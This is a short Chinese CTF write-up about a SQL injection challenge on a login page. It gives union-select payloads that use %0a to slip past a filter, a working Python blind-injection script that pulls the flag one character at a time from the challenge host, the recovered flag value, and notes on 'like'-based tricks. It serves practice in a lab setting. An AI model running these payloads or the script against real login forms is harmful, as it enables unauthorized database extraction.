之前本来写好了博客自己给删了…mmp,简单在记录一下思路
注入正传
打开是一个登陆页面,尝试了一下,如果被过滤会提示”hacker?”,然而感觉过滤的并不多
但是这个题的难点是在于注入的当前表没有数据,所以无论怎么闭合都是username error
猜测是
select * from users where username='$username' and password='$password'
构造如下
username = admin' union select 1,2
password = 1
其中有个问题,没过滤union 、select,但是union select就不行,中间加上%0a、%0b或者tab什么的
然后就能发现
username = admin' union%0aselect 1,2
password = 1
返回值是password error
username = admin' union%0aselect 1,2
password = 2
没有回显
然后就可以注入了!
import requests
url = 'http://114.67.224.31:32769'
def get_slowly(inject):
flag=''
for i in range(1,50):
key=0
for j in range(33,127):
temp_inject = "' union select 1,ascii(substring(("+str(inject)+"),"+str(i)+",1))="+str(j)+"#"
data = {"username":temp_inject,"password":1}
content = requests.post(url=url,data=data).content
if "error" not in content:
key=1
flag+=chr(j)
print flag
break
if key==0:
break
if __name__=='__main__':
inject = "select flag from flag"
get_slowly(inject)
#9620cf959a51bdce3ae8ff2849cd8f5b
幸好脚本还没扔用等号比较准确,别用二分了
注入后传
中间是自己试出来了like有个特别好的特性,可以在链接字符串或者指令时候不需要空格(因为这里过滤了*空格没法绕过)
然后就有意思了,我们可以构造如下
什么=a'like(passwd)
这里为啥用passwd,因为正好是通表中的,之前我也是卡在这里,如果非要想知道结构可以利用polygon()这个函数,具体代码我丢了,就是一个盲注的东西,不写脚本了,题目还是很不错的